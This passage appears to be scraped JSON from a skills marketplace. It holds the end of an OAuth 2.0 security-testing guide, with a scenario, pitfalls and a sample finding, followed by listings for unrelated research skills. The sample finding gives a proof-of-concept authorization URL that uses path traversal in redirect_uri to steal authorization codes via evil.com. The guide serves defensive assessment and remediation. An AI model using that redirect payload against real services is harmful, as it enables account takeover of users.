Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities\n- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns\n- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic\n- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens\n\n## Common Scenarios\n\n### Scenario: Social Login OAuth Implementation Assessment\n\n**Context**: A web application implements \"Login with Google\" and \"Login with GitHub\" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.\n\n**Approach**:\n1. Analyze the OAuth configuration at `\u002F.well-known\u002Fopenid-configuration` for both providers\n2. Test redirect URI validation: discover that the application registers `https:\u002F\u002Fapp.example.com\u002Fcallback` but the server accepts `https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..%2fevil`\n3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)\n4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile\n5. Test implicit flow: still enabled despite not being used by the application\n6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent\n7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement\n8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)\n\n**Pitfalls**:\n- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters\n- Not testing both the authorization request and the token exchange independently\n- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri\n- Not testing the state parameter validation on the client side (server may include it but client may not check it)\n- Assuming PKCE is enforced because the authorization server supports it (client must also send it)\n\n## Output Format\n\n```\n## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft\n\n**ID**: API-OAUTH-001\n**Severity**: Critical (CVSS 9.3)\n**Affected Component**: OAuth 2.0 Authorization Code Flow\n**Authorization Server**: auth.example.com\n\n**Description**:\nThe authorization server's redirect_uri validation uses prefix matching\ninstead of exact string matching. An attacker can manipulate the redirect_uri\nto redirect the authorization code to an attacker-controlled endpoint,\nenabling account takeover. Additionally, PKCE is not enforced and the\nstate parameter is not validated by the client application.\n\n**Proof of Concept**:\n1. Craft authorization URL with manipulated redirect_uri:\n   https:\u002F\u002Fauth.example.com\u002Fauthorize?response_type=code&client_id=app\n   &redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002F..\u002Fevil.com\n   &scope=openid+profile+email&state=abc123\n2. User authenticates and approves consent\n3. Authorization code redirected to https:\u002F\u002Fevil.com?code=AUTH_CODE&state=abc123\n4. Attacker exchanges code at token endpoint (no PKCE required)\n5. Attacker receives access token and ID token for victim's account\n\n**Impact**:\nComplete account takeover for any user who clicks a crafted OAuth login link.\nThe attacker gains full access to the user's profile, email, and any\nresources the OAuth scope grants access to.\n\n**Remediation**:\n1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)\n2. Enforce PKCE (S256 method) for all authorization code flow requests\n3. Validate the state parameter in the callback handler before exchanging the code\n4. Disable the implicit flow on the authorization server\n5. Enforce single-use authorization codes with a short TTL (max 60 seconds)\n6. Validate the audience (aud) claim in tokens before accepting them\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":14,"version":33,"nist_csf":34,"subdomain":25,"description":7,"mitre_attack":39},[25,26,27,28,29,30],"api-security","oauth2","oidc","authentication","redirect-uri","token-security","mahipal","cybersecurity","1.0.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[40,41,42,43,44],"T1190","T1059.007","T1552.001","T1027","T1070","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill testing-oauth2-implementation-flaws",{"tool":57,"command":58},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill testing-oauth2-implementation-flaws",{"tool":60,"command":61},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill testing-oauth2-implementation-flaws","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002FSKILL.md",true,[65,69,75],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",1903,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"scripts\u002Fagent.py","SCRIPT","脚本",8172,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002Fscripts\u002Fagent.py",[82,90,97,104,111,118],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]